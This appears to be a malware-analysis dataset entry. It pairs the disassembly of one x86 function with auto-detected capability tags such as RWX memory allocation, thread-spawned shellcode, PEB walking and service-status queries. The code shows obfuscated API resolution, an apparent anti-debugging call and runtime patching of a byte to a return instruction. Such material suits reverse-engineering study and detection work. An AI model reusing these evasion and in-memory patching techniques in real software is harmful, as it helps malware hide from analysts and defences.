Function at 0x417ad0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x104
push ebx
push esi
push edi
mov edi, 0x791a7203
lea esi, [ebp - 0x2b]
mov dword [ebp + 0x60], 0
call fcn.0041aef0
mov esi, eax
mov ecx, 0x6c2870
sub ecx, 0x4680168
lea eax, [ebp + 0x32]
call fcn.0041ae70
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push ecx
push 4
mov dword [ebp + 0x32], ecx
mov dword [ebp + 0x36], ecx
mov word [ebp + 0x3a], cx
mov dword [ebp - 0x2b], ecx
mov dword [ebp - 0x27], ecx
mov dword [ebp - 0x23], ecx
mov dword [ebp - 0x1f], ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov byte [ebp - 0x13], cl
lea ecx, [ebp + 0x60]
push ecx
push 9
push 0xfffffffffffffffe
call eax
mov eax, dword [ebp + 0x60]
mov dword [ebp + 0x50], eax
cmp eax, 0x40000
je 0x4181bb
jmp 0x417bbd
mov edi, 0x5a2c8386
lea esi, [ebp + 0xd]
call 0x41aff0
mov esi, eax
mov ecx, 0x6c28a8
sub ecx, 0x1c1a80b4
lea eax, [ebp + 0x46]
call fcn.0041af70
push esi
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp + 0x46], ecx
mov dword [ebp + 0x4a], ecx
mov word [ebp + 0x4e], cx
mov dword [ebp + 0xd], ecx
mov dword [ebp + 0x11], ecx
mov dword [ebp + 0x15], ecx
mov dword [ebp + 0x19], ecx
mov dword [ebp + 0x1d], ecx
mov word [ebp + 0x21], cx
mov byte [ebp + 0x23], cl
jmp 0x417c72
push ecx
push ecx
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x417ce0
push 0x30
lea edx, [ebp - 0x80]
push 0
push edx
call fcn.005e2200
mov esi, dword [ebp - 0x6c]
add esp, 0xc
test esi, esi
jne 0x417d08
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0x14]
jmp 0x417d0b
mov eax, dword [ebp - 0x7c]
lea esi, [eax - 8]
mov ecx, 0xd
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x6c]
test esi, esi
je 0x417d6a
mov eax, dword [esi + 0x3c]
movzx edi, word [eax + esi + 6]
movzx ecx, word [eax + esi + 0x14]
add eax, esi
xor edx, edx
lea ecx, [ecx + eax + 0x18]
test edi, edi
jbe 0x417cf3
add ecx, 0xc
mov edi, edi
test dword [ecx + 0x18], 0x20000000
je 0x417d60
mov eax, dword [ecx]
add eax, esi
cmp eax, dword [ebp + 0x60]
ja 0x417d60
mov ebx, dword [ecx - 4]
add ebx, eax
cmp dword [ebp + 0x60], ebx
jb 0x4181bb
inc edx
add ecx, 0x28
cmp edx, edi
jb 0x417d40
jmp 0x417cf3
jmp 0x417dd0
jmp 0x417e36
jmp 0x417e9c
jmp 0x417f02
mov edi, 0x629b5945
lea esi, [ebp - 0x95]
call 0x41af30
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x4181bb
jmp 0x417f8e
jmp 0x417ff4
jmp 0x41805a
mov eax, dword [ebp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp + 0x68]
push edx
push 0x40
push 4
push eax
call esi
test eax, eax
je 0x418155
jmp 0x4180dc
mov eax, dword [ebp + 0x50]
mov byte [eax], 0xc3
jmp 0x418148
mov edx, dword [ebp + 0x68]
lea ecx, [ebp + 0x68]
push ecx
push edx
push 4
push eax
call esi
jmp 0x4181bb
mov eax, dword [0x8d87cc]
mov esi, dword [0x8d87c8]
lea ecx, [ebp + 0x65]
push ecx
lea edx, [ebp + 0x64]
push edx
lea edi, [ebp + 0x67]
lea ebx, [ebp + 0x66]
mov dword [ebp + 0x64], eax
call fcn.00410420
add esp, 8
cmp byte [ebp + 0x64], 0
jne 0x4182ef
jmp 0x41824f
mov edi, 0x1395364
lea esi, [ebp - 0x12]
call fcn.0041b430
mov esi, eax
mov ecx, 0x6c29b0
sub ecx, 0x660068cd
lea eax, [ebp + 0x3c]
call fcn.0041b3b0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push 0x417750
push 1
mov dword [ebp + 0x3c], ecx
mov dword [ebp + 0x40], ecx
mov word [ebp + 0x44], cx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov dword [ebp - 6], ecx
mov dword [ebp - 2], ecx
mov dword [ebp + 2], ecx
mov dword [ebp + 6], ecx
mov word [ebp + 0xa], cx
mov byte [ebp + 0xc], cl
call eax
push 0
push 0
push 0
push 0x415490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [0x8d87c8]
push 0x8d87cd
push 0x8d87cc
mov edi, 0x8d87cf
mov ebx, 0x8d87ce
mov byte [0x8d87cc], 1
call fcn.00410740
add esp, 8
jmp 0x418355
call 0x415420
jmp 0x4183c0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x41848f
mov edi, 0x6c27cc
push 0xf003f
sub edi, 0x77aa43de
lea esi, [ebp + 0x24]
call fcn.0041acb0
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
push ebx
call esi
xor ecx, ecx
mov dword [ebp + 0x24], ecx
mov dword [ebp + 0x28], ecx
mov dword [ebp + 0x2c], ecx
mov word [ebp + 0x30], cx
cmp eax, ecx
je 0x41848f
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea edx, [ebp + 0x5c]
push edx
push 0x24
lea edx, [ebp - 0x50]
push edx
push ecx
push eax
mov dword [ebp + 0x5c], ecx
call edi
test eax, eax
je 0x41848f
cmp dword [ebp - 0x4c], 4
je 0x418480
push 0xf003f
mov ecx, 0x5a6184d3
lea eax, [ebp + 0x55]
call fcn.0041acf0
push eax
push ebx
call esi
mov esi, eax
xor eax, eax
mov dword [ebp + 0x55], eax
mov word [ebp + 0x59], ax
mov byte [ebp + 0x5b], al
test esi, esi
je 0x41848f
lea eax, [ebp + 0x5c]
push eax
push 0x24
lea ecx, [ebp - 0x50]
push ecx
push 0
push esi
call edi
test eax, eax
je 0x41848f
cmp dword [ebp - 0x4c], 4
jne 0x41848f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005e710a
pop edi
pop esi
pop ebx
add ebp, 0x6c
mov esp, ebp
pop ebp
ret 0xc